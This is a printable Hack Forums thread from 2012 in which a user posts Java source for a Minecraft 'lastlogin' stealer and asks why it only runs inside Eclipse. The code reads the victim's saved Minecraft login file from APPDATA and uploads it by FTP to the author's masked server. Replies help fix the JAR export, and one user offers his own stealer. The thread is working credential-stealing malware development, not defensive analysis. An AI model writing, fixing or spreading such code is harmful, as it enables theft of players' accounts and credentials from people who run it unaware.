Hack Forums
[Java] [Lastlogin-Stealer] [Solved] What could be wrong? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Java] [Lastlogin-Stealer] [Solved] What could be wrong? (/showthread.php?tid=2696854)



[Lastlogin-Stealer] [Solved] What could be wrong? - MrMysteri0us - Jul 20, 2012

Hey HF. I made a "Lastlogin-Stealer" in Java,
but I have a problem. The stealer is only working when I run it over Eclipse. When I export and execute it, nothing happens. Does anyone know what's wrong? Heres my code:

Main.java
Code
public class Main {

    public static void main(String[] args) {
        Stealer stealer = new Stealer();
    }
}

Stealer.java
Code
import java.io.File;
import java.io.FileInputStream;
import org.apache.commons.net.ftp.FTPClient;

public class Stealer implements Runnable {

    public Stealer() {
        run();
    }

    @Override
    public void run() {
           try {
               File file = new File(System.getenv("APPDATA"), ".minecraft/lastlogin");
              FTPClient ftpClient = new FTPClient();
               ftpClient.connect("**.**");
               ftpClient.login("**", "**");
              ftpClient.storeFile("Lastlogin " + System.currentTimeMillis(), new FileInputStream(file));
               ftpClient.logout();
               ftpClient.disconnect();
           } catch (Exception e) {
              e.printStackTrace();
        }
    }
}

Thanks.


* - Compose - Jul 20, 2012

Please post your entire code. As far as I can tell, there's nothing wrong with what you posted.


* - MrMysteri0us - Jul 20, 2012

Okay I'll do later when I'm back at home.


* - node.js - Jul 20, 2012

Are you using an API to use the FTP? If you are... did you make sure it was packed into the jar also?


* - roflmao5314 - Jul 20, 2012

When you run it in eclipse, I don't think there is a lastlogin file since eclipse test mode doesn't require logging in. Maybe you could do something with that?


* - Nickimew15 - Jul 20, 2012

I have never done Java coding but from learning C# I cannot tell anything wrong. And to clear up some people on questions he is attempting to make a LastLogin file stealer for Minecraft. When you type in your Username/Pass into Minecraft it saves it locally.. and this is how cracking is so easy.


* - MrMysteri0us - Jul 20, 2012

(Jul 20, 2012 03:55 PM)SoFlawLess_ Wrote:  Are you using an API to use the FTP? If you are... did you make sure it was packed into the jar also?

Yup. I'm using the Commons Net API 3.1 and I made sure that the API is in the jar. That's the problem 😶


* - Psifour - Jul 20, 2012

First on the export wizard are you exporting it as a JAR or as a Runnable JAR (2 options down)? If you are exporting it as a Runnable JAR are you selecting the Launch configuration that points to your class with a main() in it? Do you have a main()?


* - MrMysteri0us - Jul 20, 2012

(Jul 20, 2012 11:27 PM)Psifour Wrote:  First on the export wizard are you exporting it as a JAR or as a Runnable JAR (2 options down)? If you are exporting it as a Runnable JAR are you selecting the Launch configuration that points to your class with a main() in it? Do you have a main()?

I'm exporting it as a runnable jar. But I cannot find an option that points to my main() 😊


* - Psifour - Jul 20, 2012

Setup a join.me and send me the link. We will see if we can't get this compiled for you.


* - MrMysteri0us - Jul 20, 2012

Okay. I'm gonna try. Thanks :)

##35 Character limit##

I solved the problem. I made a batch file that runs it as an administrator.
Thanks to everyone for trying to help 🤝


* - Jire - Jul 21, 2012

If you want an example MC last-login stealer, you can use mine here:

mcgrabber.Account (Click to View)
mcgrabber.AccountGrabber (Click to View)
mcgrabber.OperatingSystem (Click to View)


* - MrMysteri0us - Jul 21, 2012

Thanks, got it working already. 🤝